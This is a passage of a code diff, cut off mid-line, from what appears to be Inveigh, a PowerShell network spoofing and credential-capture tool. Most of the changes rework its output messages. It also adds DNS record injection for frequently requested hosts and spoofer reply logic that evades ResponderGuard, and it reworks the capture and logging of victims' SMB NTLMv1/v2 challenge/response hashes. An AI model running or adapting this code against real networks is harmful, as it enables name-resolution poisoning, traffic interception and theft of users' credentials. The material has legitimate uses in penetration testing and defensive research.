$inveigh.status_queue.Add("NBNS Spoofer For Type $NBNSTypes_output = Enabled") > $null + $inveigh.output_queue.Add("[+] NBNS Spoofer For Type $NBNSTypes_output = Enabled") > $null } else { - $inveigh.status_queue.Add("NBNS Spoofer For Types $NBNSTypes_output = Enabled") > $null + $inveigh.output_queue.Add("[+] NBNS Spoofer For Types $NBNSTypes_output = Enabled") > $null } } else { - $inveigh.status_queue.Add("NBNS Spoofer = Disabled") > $null - $NBNS_response_message = "- NBNS spoofer is disabled" + $inveigh.output_queue.Add("[+] NBNS Spoofer = Disabled") > $null + $NBNS_response_message = "[NBNS spoofer is disabled]" } if($NBNSBruteForce -eq 'Y') { - $inveigh.status_queue.Add("NBNS Brute Force Spoofer Target = $NBNSBruteForceTarget") > $null - $inveigh.status_queue.Add("NBNS Brute Force Spoofer IP Address = $SpooferIP") > $null - $inveigh.status_queue.Add("NBNS Brute Force Spoofer Hostname = $NBNSBruteForceHost") > $null + $inveigh.output_queue.Add("[+] NBNS Brute Force Spoofer Target = $NBNSBruteForceTarget") > $null + $inveigh.output_queue.Add("[+] NBNS Brute Force Spoofer IP Address = $SpooferIP") > $null + $inveigh.output_queue.Add("[+] NBNS Brute Force Spoofer Hostname = $NBNSBruteForceHost") > $null if($NBNSBruteForcePause) { - $inveigh.status_queue.Add("NBNS Brute Force Pause = $NBNSBruteForcePause Seconds") > $null + $inveigh.output_queue.Add("[+] NBNS Brute Force Pause = $NBNSBruteForcePause Seconds") > $null } } if($NBNS -eq 'Y' -or $NBNSBruteForce -eq 'Y') { - $inveigh.status_queue.Add("NBNS TTL = $NBNSTTL Seconds") > $null + $inveigh.output_queue.Add("[+] NBNS TTL = $NBNSTTL Seconds") > $null } if($SpooferLearning -eq 'Y' -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) { - $inveigh.status_queue.Add("Spoofer Learning = Enabled") > $null + $inveigh.output_queue.Add("[+] Spoofer Learning = Enabled") > $null if($SpooferLearningDelay -eq 1) { - $inveigh.status_queue.Add("Spoofer Learning Delay = $SpooferLearningDelay Minute") > $null + $inveigh.output_queue.Add("[+] Spoofer Learning Delay = $SpooferLearningDelay Minute") > $null } elseif($SpooferLearningDelay -gt 1) { - $inveigh.status_queue.Add("Spoofer Learning Delay = $SpooferLearningDelay Minutes") > $null + $inveigh.output_queue.Add("[+] Spoofer Learning Delay = $SpooferLearningDelay Minutes") > $null } if($SpooferLearningInterval -eq 1) { - $inveigh.status_queue.Add("Spoofer Learning Interval = $SpooferLearningInterval Minute") > $null + $inveigh.output_queue.Add("[+] Spoofer Learning Interval = $SpooferLearningInterval Minute") > $null } elseif($SpooferLearningInterval -eq 0) { - $inveigh.status_queue.Add("Spoofer Learning Interval = Disabled") > $null + $inveigh.output_queue.Add("[+] Spoofer Learning Interval = Disabled") > $null } elseif($SpooferLearningInterval -gt 1) { - $inveigh.status_queue.Add("Spoofer Learning Interval = $SpooferLearningInterval Minutes") > $null + $inveigh.output_queue.Add("[+] Spoofer Learning Interval = $SpooferLearningInterval Minutes") > $null } } if($SpooferHostsReply -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) { - $inveigh.status_queue.Add("Spoofer Hosts Reply = " + ($SpooferHostsReply -join ",")) > $null + $inveigh.output_queue.Add("[+] Spoofer Hosts Reply = " + ($SpooferHostsReply -join ",")) > $null } if($SpooferHostsIgnore -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) { - $inveigh.status_queue.Add("Spoofer Hosts Ignore = " + ($SpooferHostsIgnore -join ",")) > $null + $inveigh.output_queue.Add("[+] Spoofer Hosts Ignore = " + ($SpooferHostsIgnore -join ",")) > $null } if($SpooferIPsReply -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) { - $inveigh.status_queue.Add("Spoofer IPs Reply = " + ($SpooferIPsReply -join ",")) > $null + $inveigh.output_queue.Add("[+] Spoofer IPs Reply = " + ($SpooferIPsReply -join ",")) > $null } if($SpooferIPsIgnore -and ($LLMNR -eq 'Y' -or $NBNS -eq 'Y')) { - $inveigh.status_queue.Add("Spoofer IPs Ignore = " + ($SpooferIPsIgnore -join ",")) > $null + $inveigh.output_queue.Add("[+] Spoofer IPs Ignore = " + ($SpooferIPsIgnore -join ",")) > $null } if($SpooferRepeat -eq 'N') { $inveigh.spoofer_repeat = $false - $inveigh.status_queue.Add("Spoofer Repeating = Disabled") > $null + $inveigh.output_queue.Add("[+] Spoofer Repeating = Disabled") > $null } else { $inveigh.spoofer_repeat = $true } +if($DNS -eq 'Y') +{ + $inveigh.DNS = $true + $inveigh.output_queue.Add("[+] DNS Injection = Enabled") > $null + $inveigh.output_queue.Add("[+] DNS Hosts Ignore = " + ($DNSHostsIgnore -join ",")) > $null +} +else +{ + $inveigh.output_queue.Add("[+] DNS Injection = Disabled") > $null +} + if($SMB -eq 'Y' -and $elevated_privilege) { - $inveigh.status_queue.Add("SMB Capture = Enabled") > $null + $inveigh.output_queue.Add("[+] SMB Capture = Enabled") > $null } else { - $inveigh.status_queue.Add("SMB Capture = Disabled") > $null + $inveigh.output_queue.Add("[+] SMB Capture = Disabled") > $null } if($HTTP -eq 'Y') @@ -871,28 +890,28 @@ if($HTTP -eq 'Y') if($HTTP_port_check) { $HTTP = "N" - $inveigh.status_queue.Add("HTTP Capture Disabled Due To In Use Port $HTTPPort") > $null + $inveigh.output_queue.Add("[-] HTTP Capture Disabled Due To In Use Port $HTTPPort") > $null } else { if($HTTPIP -ne '0.0.0.0') { - $inveigh.status_queue.Add("HTTP IP = $HTTPIP") > $null + $inveigh.output_queue.Add("[+] HTTP IP = $HTTPIP") > $null } if($HTTPPort -ne 80) { - $inveigh.status_queue.Add("HTTP Port = $HTTPPort") > $null + $inveigh.output_queue.Add("[+] HTTP Port = $HTTPPort") > $null } - $inveigh.status_queue.Add("HTTP Capture = Enabled") > $null + $inveigh.output_queue.Add("[+] HTTP Capture = Enabled") > $null } } else { - $inveigh.status_queue.Add("HTTP Capture = Disabled") > $null + $inveigh.output_queue.Add("[+] HTTP Capture = Disabled") > $null } if($HTTPS -eq 'Y') @@ -902,7 +921,7 @@ if($HTTPS -eq 'Y') { $HTTPS = "N" $inveigh.HTTPS = $false - $inveigh.status_queue.Add("HTTPS Capture Disabled Due To In Use Port $HTTPSPort") > $null + $inveigh.output_queue.Add("[-] HTTPS Capture Disabled Due To In Use Port $HTTPSPort") > $null } else { @@ -911,13 +930,13 @@ if($HTTPS -eq 'Y') { $inveigh.certificate_issuer = $HTTPSCertIssuer $inveigh.certificate_CN = $HTTPSCertSubject - $inveigh.status_queue.Add("HTTPS Certificate Issuer = " + $inveigh.certificate_issuer) > $null - $inveigh.status_queue.Add("HTTPS Certificate CN = " + $inveigh.certificate_CN) > $null + $inveigh.output_queue.Add("HTTPS Certificate Issuer = " + $inveigh.certificate_issuer) > $null + $inveigh.output_queue.Add("HTTPS Certificate CN = " + $inveigh.certificate_CN) > $null $certificate_check = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) if(!$certificate_check) { - # credit to subTee for cert creation code https://github.com/subTee/Interceptor + # credit to subTee for cert creation code from Interceptor $certificate_distinguished_name = new-object -com "X509Enrollment.CX500DistinguishedName" $certificate_distinguished_name.Encode( "CN=" + $inveigh.certificate_CN, $certificate_distinguished_name.X500NameFlags.X500NameFlags.XCN_CERT_NAME_STR_NONE) $certificate_issuer_distinguished_name = new-object -com "X509Enrollment.CX500DistinguishedName" @@ -931,7 +950,7 @@ if($HTTPS -eq 'Y') $certificate_server_auth_OID = new-object -com "X509Enrollment.CObjectId" $certificate_server_auth_OID.InitializeFromValue("1.3.6.1.5.5.7.3.1") $certificate_enhanced_key_usage_OID = new-object -com "X509Enrollment.CObjectIds.1" - $certificate_enhanced_key_usage_OID.add($certificate_server_auth_OID) + $certificate_enhanced_key_usage_OID.Add($certificate_server_auth_OID) $certificate_enhanced_key_usage_extension = new-object -com "X509Enrollment.CX509ExtensionEnhancedKeyUsage" $certificate_enhanced_key_usage_extension.InitializeEncode($certificate_enhanced_key_usage_OID) $certificate = new-object -com "X509Enrollment.CX509CertificateRequestCertificate" @@ -963,29 +982,29 @@ if($HTTPS -eq 'Y') } $inveigh.HTTPS_existing_certificate = $true - $inveigh.status_queue.Add("HTTPS Capture = Using Existing Certificate") > $null + $inveigh.output_queue.Add("[+] HTTPS Capture = Using Existing Certificate") > $null } $inveigh.HTTPS = $true if($HTTPIP -ne '0.0.0.0') { - $inveigh.status_queue.Add("HTTPS IP = $HTTPIP") > $null + $inveigh.output_queue.Add("[+] HTTPS IP = $HTTPIP") > $null } if($HTTPSPort -ne 443) { - $inveigh.status_queue.Add("HTTPS Port = $HTTPSPort") > $null + $inveigh.output_queue.Add("[+] HTTPS Port = $HTTPSPort") > $null } - $inveigh.status_queue.Add("HTTPS Capture = Enabled") > $null + $inveigh.output_queue.Add("[+] HTTPS Capture = Enabled") > $null } catch { $HTTPS = "N" $inveigh.HTTPS = $false - $inveigh.status_queue.Add("HTTPS Capture Disabled Due To Certificate Error") > $null + $inveigh.output_queue.Add("[-] HTTPS Capture Disabled Due To Certificate Error") > $null } } @@ -993,13 +1012,13 @@ if($HTTPS -eq 'Y') } else { - $inveigh.status_queue.Add("HTTPS Capture = Disabled") > $null + $inveigh.output_queue.Add("[+] HTTPS Capture = Disabled") > $null } if($HTTP -eq 'Y' -or $HTTPS -eq 'Y') { - $inveigh.status_queue.Add("HTTP/HTTPS Authentication = $HTTPAuth") > $null - $inveigh.status_queue.Add("WPAD Authentication = $WPADAuth") > $null + $inveigh.output_queue.Add("[+] HTTP/HTTPS Authentication = $HTTPAuth") > $null + $inveigh.output_queue.Add("[+] WPAD Authentication = $WPADAuth") > $null if($WPADAuth -like "NTLM*") { @@ -1007,48 +1026,48 @@ if($HTTP -eq 'Y' -or $HTTPS -eq 'Y') if($WPADAuthIgnore.Count -gt 0) { - $inveigh.status_queue.Add("WPAD NTLM Authentication Ignore List = " + ($WPADAuthIgnore -join ",")) > $null + $inveigh.output_queue.Add("[+] WPAD NTLM Authentication Ignore List = " + ($WPADAuthIgnore -join ",")) > $null } } if($HTTPDir -and !$HTTPResponse) { - $inveigh.status_queue.Add("HTTP/HTTPS Directory = $HTTPDir") > $null + $inveigh.output_queue.Add("[+] HTTP/HTTPS Directory = $HTTPDir") > $null if($HTTPDefaultFile) { - $inveigh.status_queue.Add("HTTP/HTTPS Default Response File = $HTTPDefaultFile") > $null + $inveigh.output_queue.Add("[+] HTTP/HTTPS Default Response File = $HTTPDefaultFile") > $null } if($HTTPDefaultEXE) { - $inveigh.status_queue.Add("HTTP/HTTPS Default Response Executable = $HTTPDefaultEXE") > $null + $inveigh.output_queue.Add("[+] HTTP/HTTPS Default Response Executable = $HTTPDefaultEXE") > $null } } if($HTTPResponse) { - $inveigh.status_queue.Add("HTTP/HTTPS Response = Enabled") > $null + $inveigh.output_queue.Add("[+] HTTP/HTTPS Response = Enabled") > $null } if($HTTPResponse -or $HTTPDir -and $HTTPContentType -ne 'html/text') { - $inveigh.status_queue.Add("HTTP/HTTPS/Proxy Content Type = $HTTPContentType") > $null + $inveigh.output_queue.Add("[+] HTTP/HTTPS/Proxy Content Type = $HTTPContentType") > $null } if($HTTPAuth -eq 'Basic' -or $WPADAuth -eq 'Basic') { - $inveigh.status_queue.Add("Basic Authentication Realm = $HTTPBasicRealm") > $null + $inveigh.output_queue.Add("[+] Basic Authentication Realm = $HTTPBasicRealm") > $null } $HTTPResetDelay = ($HTTPResetDelay | Where-Object {$_ -and $_.Trim()}) if($HTTPResetDelay.Count -gt 0) { - $inveigh.status_queue.Add("HTTP Reset Delay List = " + ($HTTPResetDelay -join ",")) > $null - $inveigh.status_queue.Add("HTTP Reset Delay Timeout = $HTTPResetDelayTimeout Seconds") > $null + $inveigh.output_queue.Add("[+] HTTP Reset Delay List = " + ($HTTPResetDelay -join ",")) > $null + $inveigh.output_queue.Add("[+] HTTP Reset Delay Timeout = $HTTPResetDelayTimeout Seconds") > $null } if($Proxy -eq 'Y') @@ -1057,19 +1076,19 @@ if($HTTP -eq 'Y' -or $HTTPS -eq 'Y') if($proxy_port_check) { $Proxy = "N" - $inveigh.status_queue.Add("Proxy Capture Disabled Due To In Use Port $ProxyPort") > $null + $inveigh.output_queue.Add("[-] Proxy Capture Disabled Due To In Use Port $ProxyPort") > $null } else { - $inveigh.status_queue.Add("Proxy Capture = Enabled") > $null - $inveigh.status_queue.Add("Proxy Port = $ProxyPort") > $null - $inveigh.status_queue.Add("Proxy Authentication = $ProxyAuth") > $null + $inveigh.output_queue.Add("[+] Proxy Capture = Enabled") > $null + $inveigh.output_queue.Add("[+] Proxy Port = $ProxyPort") > $null + $inveigh.output_queue.Add("[+] Proxy Authentication = $ProxyAuth") > $null $ProxyPortFailover = $ProxyPort + 1 $ProxyIgnore = ($ProxyIgnore | Where-Object {$_ -and $_.Trim()}) if($ProxyIgnore.Count -gt 0) { - $inveigh.status_queue.Add("Proxy Ignore List = " + ($ProxyIgnore -join ",")) > $null + $inveigh.output_queue.Add("[+] Proxy Ignore List = " + ($ProxyIgnore -join ",")) > $null } if($ProxyIP -eq '0.0.0.0') @@ -1101,27 +1120,27 @@ if($HTTP -eq 'Y' -or $HTTPS -eq 'Y') $WPAD_direct_hosts_function += 'if (dnsDomainIs(host, "' + $WPAD_direct_host + '")) return "DIRECT";' } - $inveigh.status_queue.Add("WPAD Direct Hosts = " + ($WPADDirectHosts -join ",")) > $null + $inveigh.output_queue.Add("[+] WPAD Direct Hosts = " + ($WPADDirectHosts -join ",")) > $null } if($WPADResponse -and $Proxy -eq 'N') { - $inveigh.status_queue.Add("WPAD Custom Response = Enabled") > $null + $inveigh.output_queue.Add("[+] WPAD Custom Response = Enabled") > $null } elseif($WPADResponse -and $Proxy -eq 'Y') { - $inveigh.status_queue.Add("WPAD Proxy Response = Enabled") > $null + $inveigh.output_queue.Add("[+] WPAD Proxy Response = Enabled") > $null if($WPADIP -and $WPADPort) { - $inveigh.status_queue.Add("WPAD Failover = $WPADIP`:$WPADPort") > $null + $inveigh.output_queue.Add("[+] WPAD Failover = $WPADIP`:$WPADPort") > $null } } elseif($WPADIP -and $WPADPort) { - $inveigh.status_queue.Add("WPAD Response = Enabled") > $null - $inveigh.status_queue.Add("WPAD = $WPADIP`:$WPADPort") > $null + $inveigh.output_queue.Add("[+] WPAD Response = Enabled") > $null + $inveigh.output_queue.Add("[+] WPAD = $WPADIP`:$WPADPort") > $null if($WPADDirectHosts) { @@ -1131,7 +1150,7 @@ if($HTTP -eq 'Y' -or $HTTPS -eq 'Y') } $WPADResponse = "function FindProxyForURL(url,host){" + $WPAD_direct_hosts_function + "return `"PROXY " + $WPADIP + ":" + $WPADPort + "`";}" - $inveigh.status_queue.Add("WPAD Direct Hosts = " + ($WPADDirectHosts -join ",")) > $null + $inveigh.output_queue.Add("[+] WPAD Direct Hosts = " + ($WPADDirectHosts -join ",")) > $null } else { @@ -1141,20 +1160,20 @@ if($HTTP -eq 'Y' -or $HTTPS -eq 'Y') } elseif($WPADDirectFile -eq 'Y') { - $inveigh.status_queue.Add("WPAD Default Response = Enabled") > $null + $inveigh.output_queue.Add("[+] WPAD Default Response = Enabled") > $null $WPADResponse = "function FindProxyForURL(url,host){return `"DIRECT`";}" } if($Challenge) { - $inveigh.status_queue.Add("NTLM Challenge = $Challenge") > $null + $inveigh.output_queue.Add("[+] NTLM Challenge = $Challenge") > $null } } if($MachineAccounts -eq 'N') { - $inveigh.status_queue.Add("Machine Account Capture = Disabled") > $null + $inveigh.output_queue.Add("[+] Machine Account Capture = Disabled") > $null $inveigh.machine_accounts = $false } else @@ -1167,22 +1186,22 @@ if($ConsoleOutput -ne 'N') if($ConsoleOutput -eq 'Y') { - $inveigh.status_queue.Add("Real Time Console Output = Enabled") > $null + $inveigh.output_queue.Add("[+] Real Time Console Output = Enabled") > $null } else { - $inveigh.status_queue.Add("Real Time Console Output = $ConsoleOutput") > $null + $inveigh.output_queue.Add("[+] Real Time Console Output = $ConsoleOutput") > $null } $inveigh.console_output = $true if($ConsoleStatus -eq 1) { - $inveigh.status_queue.Add("Console Status = $ConsoleStatus Minute") > $null + $inveigh.output_queue.Add("[+] Console Status = $ConsoleStatus Minute") > $null } elseif($ConsoleStatus -gt 1) { - $inveigh.status_queue.Add("Console Status = $ConsoleStatus Minutes") > $null + $inveigh.output_queue.Add("[+] Console Status = $ConsoleStatus Minutes") > $null } } @@ -1191,11 +1210,11 @@ else if($inveigh.tool -eq 1) { - $inveigh.status_queue.Add("Real Time Console Output Disabled Due To External Tool Selection") > $null + $inveigh.output_queue.Add("[+] Real Time Console Output Disabled Due To External Tool Selection") > $null } else { - $inveigh.status_queue.Add("Real Time Console Output = Disabled") > $null + $inveigh.output_queue.Add("[+] Real Time Console Output = Disabled") > $null } } @@ -1211,13 +1230,13 @@ else if($FileOutput -eq 'Y') { - $inveigh.status_queue.Add("Real Time File Output = Enabled") > $null - $inveigh.status_queue.Add("Output Directory = $output_directory") > $null + $inveigh.output_queue.Add("[+] Real Time File Output = Enabled") > $null + $inveigh.output_queue.Add("[+] Output Directory = $output_directory") > $null $inveigh.file_output = $true } else { - $inveigh.status_queue.Add("Real Time File Output = Disabled") > $null + $inveigh.output_queue.Add("[+] Real Time File Output = Disabled") > $null } if($FileUnique -eq 'Y') @@ -1229,70 +1248,94 @@ else $inveigh.file_unique = $false } +if($LogOutput -eq 'Y') +{ + $inveigh.log_output = $true +} +else +{ + $inveigh.log_output = $false +} + if($RunCount) { - $inveigh.status_queue.Add("Run Count = $RunCount") > $null + $inveigh.output_queue.Add("[+] Run Count = $RunCount") > $null } if($RunTime -eq 1) { - $inveigh.status_queue.Add("Run Time = $RunTime Minute") > $null + $inveigh.output_queue.Add("[+] Run Time = $RunTime Minute") > $null } elseif($RunTime -gt 1) { - $inveigh.status_queue.Add("Run Time = $RunTime Minutes") > $null + $inveigh.output_queue.Add("[+] Run Time = $RunTime Minutes") > $null } if($ShowHelp -eq 'Y') { - $inveigh.status_queue.Add("Run Stop-Inveigh to stop Inveigh") > $null + $inveigh.output_queue.Add("[!] Run Stop-Inveigh to stop manually") > $null if($inveigh.console_output) { - $inveigh.status_queue.Add("Press any key to stop real time console output") > $null + $inveigh.output_queue.Add("[*] Press any key to stop real time console output") > $null } } -if($inveigh.status_output) +while($inveigh.output_queue.Count -gt 0) { - while($inveigh.status_queue.Count -gt 0) + switch -Wildcard ($inveigh.output_queue[0]) { - switch -Wildcard ($inveigh.status_queue[0]) + {$_ -like "?`[`!`]*" -or $_ -like "?`[-`]*"} { - {$_ -like "* Disabled Due To *" -or $_ -like "Run Stop-Inveigh to stop Inveigh" -or $_ -like "Windows Firewall = Enabled"} + if($inveigh.status_output -and $inveigh.output_stream_only) { + Write-Output($inveigh.output_queue[0] + $inveigh.newline) + } + elseif($inveigh.status_output) + { + Write-Warning($inveigh.output_queue[0]) + } + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add($inveigh.output_queue[0]) > $null + } - if($inveigh.output_stream_only) - { - Write-Output($inveigh.status_queue[0] + $inveigh.newline) - } - else - { - Write-Warning($inveigh.status_queue[0]) - } - - $inveigh.status_queue.RemoveAt(0) + if($inveigh.log_output) + { + $inveigh.log.Add($inveigh.output_queue[0]) > $null } - default + $inveigh.output_queue.RemoveAt(0) + } + + default + { + + if($inveigh.status_output -and $inveigh.output_stream_only) + { + Write-Output($inveigh.output_queue[0] + $inveigh.newline) + } + elseif($inveigh.status_output) { + Write-Output($inveigh.output_queue[0]) + } - if($inveigh.output_stream_only) - { - Write-Output($inveigh.status_queue[0] + $inveigh.newline) - } - else - { - Write-Output($inveigh.status_queue[0]) - } + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add($inveigh.output_queue[0]) > $null + } - $inveigh.status_queue.RemoveAt(0) + if($inveigh.log_output) + { + $inveigh.log.Add($inveigh.output_queue[0]) > $null } + $inveigh.output_queue.RemoveAt(0) } } @@ -1344,6 +1387,70 @@ $shared_basic_functions_scriptblock = return $string_extract } + function SpooferResponseMessage + { + param ([String]$query_string,[String]$mDNS_type) + + $response_type = "[+]" + + if($SpooferHostsReply -and $SpooferHostsReply -notcontains $query_string) + { + $response_message = "[$query_string not on reply list]" + } + elseif($SpooferHostsIgnore -and $SpooferHostsIgnore -contains $query_string) + { + $response_message = "[$query_string is on ignore list]" + } + elseif($SpooferIPsReply -and $SpooferIPsReply -notcontains $source_IP) + { + $response_message = "[$source_IP not on reply list]" + } + elseif($SpooferIPsIgnore -and $SpooferIPsIgnore -contains $source_IP) + { + $response_message = "[$source_IP is on ignore list]" + } + elseif($inveigh.valid_host_list -contains $query_string) + { + $response_message = "[$query_string is a valid host]" + } + elseif($inveigh.IP_capture_list -contains $source_IP.IPAddressToString) + { + $response_message = "[previous capture from $source_IP]" + } + elseif($source_IP -eq $IP) + { + $response_message = "[ignoring local request]" + } + elseif($SpooferLearningDelay -and $spoofer_learning_stopwatch.Elapsed -lt $spoofer_learning_delay) + { + $response_message = ": " + [Int]($SpooferLearningDelay - $spoofer_learning_stopwatch.Elapsed.TotalMinutes) + " minute(s) until spoofing starts" + } + elseif($destination_IP.IPAddressToString -eq $IP) + { + $response_message = "[ResponderGuard detected and ignored]" + $response_type = "[!]" + } + elseif($NBNSTypes -notcontains $NBNS_query_type) + { + $response_message = "[disabled NBNS type]" + } + elseif($query_string.Trim() -eq '*') + { + $response_message = "[NBSTAT request]" + } + elseif($mDNS_type -and $mDNSTypes -notcontains $mDNS_type) + { + $response_message = "[disabled mDNS type]" + } + else + { + $response_message = "[something went wrong]" + $response_type = "[-]" + } + + return $response_type,$response_message + } + function ConvertFrom-PacketOrderedDictionary { param($packet_ordered_dictionary) @@ -1356,6 +1463,62 @@ $shared_basic_functions_scriptblock = return $byte_array } + + +} + +# DNS Functions ScriptBlock +$DNS_functions_scriptblock = +{ + + function DNSUpdate + { + param ([String]$DNSName,[String]$DNSData,[Int]$DNSTTL) + + $DNS_update = Invoke-DNSUpdate -DNSType A -DNSName $DNSName -DNSData $DNSData -DNSTTL $DNSTTL + + if($DNS_update -eq "[+] DNS update successful") + { + $inveigh.DNS_list.Add("1," + $_.Name) > $null + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] DNS host (A) record for " + $_.Name + " added") > $null + } + elseif($DNS_update -eq "[-] Kerberos preauthentication error 0x06") + { + $inveigh.DNS = $false + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] Disabling DNS injection due to auth failure") > $null + } + else + { + $inveigh.DNS_list.Add("0," + $_.Name) > $null + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] DNS host (A) record for " + $_.Name + " add failed") > $null + } + + } + + function DNSCheck + { + param ([String]$DNSData,[Array]$DNSHostsIgnore,[Int]$DNSThreshold,[Int]$DNSTTL) + + $inveigh.requested_host_list | Group-Object | ForEach-Object { + + if($_.Count -gt $DNSThreshold) + { + + if($DNSHostsIgnore -NotContains $_.Name -and $inveigh.DNS_list -NotContains "0,$($_.Name)" -and $inveigh.DNS_list -NotContains "1,$($_.Name)") + { + DNSUpdate $_.Name $DNSData $DNSTTL + } + elseif($DNSHostsIgnore -Contains $_.Name) + { + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] Ignored $($_.Name) for DNS injection") + } + + } + + } + + } + } # SMB NTLM Functions ScriptBlock - function for parsing NTLM challenge/response @@ -1417,42 +1580,31 @@ $SMB_NTLM_functions_scriptblock = if($source_IP -ne $IP -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $NTLM_user_string.EndsWith('$')))) { - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)") - } - - $inveigh.NTLMv2_list.Add($NTLMv2_hash) + $inveigh.NTLMv2_list.Add($NTLMv2_hash) > $null if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string")) { - $inveigh.console_queue.Add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLMv2_hash") + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB NTLMv2 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLMv2_hash") > $null } else { - $inveigh.console_queue.Add("$(Get-Date -format 's') - SMB NTLMv2 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLM_domain_string\$NTLM_user_string - not unique") + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB NTLMv2 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLM_domain_string\$NTLM_user_string - not unique") > $null } if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string"))) { $inveigh.NTLMv2_file_queue.Add($NTLMv2_hash) - $inveigh.console_queue.Add("SMB NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] SMB NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) > $null } if($inveigh.NTLMv2_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string") { - $inveigh.NTLMv2_username_list.Add("$source_IP $NTLM_domain_string\$NTLM_user_string") + $inveigh.NTLMv2_username_list.Add("$source_IP $NTLM_domain_string\$NTLM_user_string") > $null } if($inveigh.IP_capture_list -notcontains $source_IP -and -not $NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat -and $source_IP -ne $IP) { - $inveigh.IP_capture_list.Add($source_IP.IPAddressToString) + $inveigh.IP_capture_list.Add($source_IP.IPAddressToString) > $null } } @@ -1464,42 +1616,31 @@ $SMB_NTLM_functions_scriptblock = if($source_IP -ne $IP -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $NTLM_user_string.EndsWith('$')))) { - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB NTLMv1 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - SMB NTLMv1 challenge/response for $NTLM_domain_string\$NTLM_user_string captured from $source_IP($NTLM_host_string)") - } - $inveigh.NTLMv1_list.Add($NTLMv1_hash) if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string")) { - $inveigh.console_queue.Add("$(Get-Date -format 's') SMB NTLMv1 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLMv1_hash") + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB NTLMv1 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLMv1_hash") > $null } else { - $inveigh.console_queue.Add("$(Get-Date -format 's') - SMB NTLMv1 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLM_domain_string\$NTLM_user_string - not unique") + $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB NTLMv1 challenge/response captured from $source_IP($NTLM_host_string):`n$NTLM_domain_string\$NTLM_user_string - not unique") > $null } if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string"))) { $inveigh.NTLMv1_file_queue.Add($NTLMv1_hash) - $inveigh.console_queue.Add("SMB NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] SMB NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) > $null } if($inveigh.NTLMv1_username_list -notcontains "$source_IP $NTLM_domain_string\$NTLM_user_string") { - $inveigh.NTLMv1_username_list.Add("$source_IP $NTLM_domain_string\$NTLM_user_string") + $inveigh.NTLMv1_username_list.Add("$source_IP $NTLM_domain_string\$NTLM_user_string") > $null } if($inveigh.IP_capture_list -notcontains $source_IP -and -not $NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat -and $source_IP -ne $IP) { - $inveigh.IP_capture_list.Add($source_IP.IPAddressToString) + $inveigh.IP_capture_list.Add($source_IP.IPAddressToString) > $null } } @@ -1612,19 +1753,8 @@ $HTTP_scriptblock = } catch { - $inveigh.console_queue.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener") $HTTP_running = $false - - if($inveigh.file_output) - { - $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener") - } - - if($inveigh.log_output) - { - $inveigh.log.Add("$(Get-Date -format 's') - Error starting $HTTP_type listener") - } - + $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] Error starting $HTTP_type listener") > $null } :HTTP_listener_loop while($inveigh.running -and $HTTP_running) @@ -1742,38 +1872,13 @@ $HTTP_scriptblock = if($HTTP_request_raw_URL_old -ne $HTTP_request_raw_URL -or $HTTP_client_handle_old -ne $HTTP_client.Client.Handle) { - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type request for $HTTP_request_raw_URL received from $HTTP_source_IP") - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type host header $HTTP_header_host received from $HTTP_source_IP") - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type user agent received from 